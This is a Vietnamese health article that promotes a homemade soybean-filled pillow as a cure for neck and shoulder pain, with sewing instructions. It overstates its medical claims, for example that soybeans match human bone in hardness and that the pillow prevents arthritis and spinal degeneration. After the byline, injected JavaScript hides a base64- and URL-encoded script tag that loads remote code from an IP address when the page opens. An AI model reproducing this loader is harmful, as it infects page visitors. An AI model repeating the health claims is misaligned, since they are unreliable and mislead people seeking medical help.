Bác sĩ tiết lộ 1 bí mật: Cho một ít hạt đậu nành vào ruột gối, bệnh đau cổ vai gáy sẽ “biến mất” ngay lập tức

Không chỉ dùng làm thực phẩm, hạt đậu nành lại có tác dụng khiến nhiều người kinh ngạc như vậy.
Đau mỏi vai gáy là tình trạng rất nhiều người mắc phải, không chỉ người già mà những người còn trẻ tuổi, nhân viên văn phòng cũng là đối tượng của bệnh lý này. Gần đây, một nhóm bác sĩ đã nghiên cứu và công bố cách giúp mọi người giảm hẳn triệu chứng này chỉ với những thao tác vô cùng đơn giản.

Giấc ngủ đối với sức khỏe là vô cùng quan trọng nên lời khuyên dành cho mọi người đó là tận dụng thời gian ngủ để dưỡng sinh. Phương pháp dưỡng sinh trong quá trình ngủ sẽ giúp bảo vệ đốt sống cổ, chăm sóc huyết quản, mạch máu não và duy trì sức khỏe cho toàn bộ cơ thể. Theo nghiên cứu của các bác sĩ Đông Y Trung Quốc thì để cải thiện tình trạng sức khỏe vùng cổ vai gáy, đầu cũng như các bệnh phát sinh ở vùng này thì bạn chỉ cần sử dụng một chiếc gối đúng cách.

Biện pháp này sử dụng nguyên liệu chính đó là những hạt đậu nành và một chiếc vỏ gối. Bạn có thể hoàn thành sản phẩm giúp dưỡng sinh hiệu quả chỉ với lượng nhỏ hạt đậu.

Hiệu quả thần kỳ khi sử dụng đậu nành làm ruột gối

Theo nghiên cứu chỉ ra thì những hạt đậu nành khi dùng làm ruột gối sẽ có tác dụng mát xa cho vùng da đầu, vùng cổ vai sau một đêm ngủ dài. Tất cả những bộ phận cơ thể mà hạt đậu chạm vào đều có tác dụng trị liệu vô cùng hiệu quả. Trên thực tế, tính di chuyển của hạt đậu làm cho chiếc gối có độ cao thấp vừa vặn với đầu và cổ của mỗi người, rất linh hoạt. Đối với cơ thể tự nhiên của mỗi người thì độ cao được điều tiết phù hợp như vậy sẽ mang lại tác dụng cao, đây chính là điểm mà gối cứng hay gối bông đều không có tác dụng.

Với lõi là những hạt đậu nành, chiếc gối vừa có thể mát xa, thay đổi độ cao tùy thích, vừa có tác dụng hút ẩm, lại giúp mạch máu được điều hòa thì chắc chắn những ảnh hưởng của nó lên cơ thể không thể tuyệt vời hơn rồi.

Hạt đậu nành có độ cứng và độ dẻo tương tự như xương người

Một sự tương đồng đã được các nhà khoa học tìm thấy giữa độ cứng và dẻo của hạt đậu nành với xương người. Nhờ đó, nó giúp hỗ trợ vùng cong của xương cổ hiệu quả. Mỗi hạt đậu sẽ có sự di chuyển, tác động lên dây chằng khi mà cơ thể bạn cử động, đồng thời những rối loạn thần kinh vùng thân trên cũng được hỗ trợ điều chỉnh.

Xương vùng cổ vai gáy sẽ được giãn da nhờ việc mát xa thường xuyên như vậy. Không chỉ phòng ngừa bệnh đau đàu mà những chứng bệnh viêm khớp, thoái hóa đốt sống cổ, đau mỏi dây chằng cũng sẽ được ngăn ngừa.

Hướng dẫn cách làm chiếc gối ruột hạt đậu nành

Nếu không muốn mất công ra hiệu may thì có thể tìm hiểu cách làm chiếc gối hữu dụng này ngay tại nhà. Nguyên liệu bạn cần đó là 1,5-2 kg hạt đậu nành phơi khô, bạn nên rang hoặc sấy để đảm bảo độ khô và cứng của hạt đậu. Đồng thời, chuẩn bị 1 miếng vải cotton mềm, chất liệu như vỏ gối bình thường hoặc tận dụng sẵn vỏ gối trong nhà.

Chiếc vỏ gối nên có chiều dài khoảng 50cm và chiều rộng là 20cm. Đầu tiên bạn khâu kín 3 mặt của chiếc vỏ gối, để lại một mặt để cho hạt đỗ vào trong rồi khâu kín, dùng như gối bình thường.

Khi đổ hạt đậu vào trong bạn nên lưu ý không nên cho quá nhiều, làm sao cho các hạt đậu có khoảng không tự do để di chuyển. Bạn sẽ cảm nhận được ngay kết quả chỉ sau khi dùng chiếc gối trong vòng 2 tuần. Vừa có được giấc ngủ ngon, thoải mái, bệnh về cổ vai gáy và đau đầu cũng được cải thiện đáng kể nhờ tác động của chiếc gối này.

Chuẩn bị những hạt đậu nành khô

Chiếc vỏ gối có diện tích phù hợp

Dùng dây buộc chặt một đầu gối lại

Bác sĩ tiết lộ: Cho một ít hạt đậu nành vào ruột gối, bệnh đau cổ vai gáy sẽ biến mất – Ảnh 7.

Sau khi đổ đậu nành vào, buộc chặt đầu còn lại

Sử dụng để thấy kết quả nhanh chóng nhé!

Ran / Theo Thethaovaxahoi.vn #(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.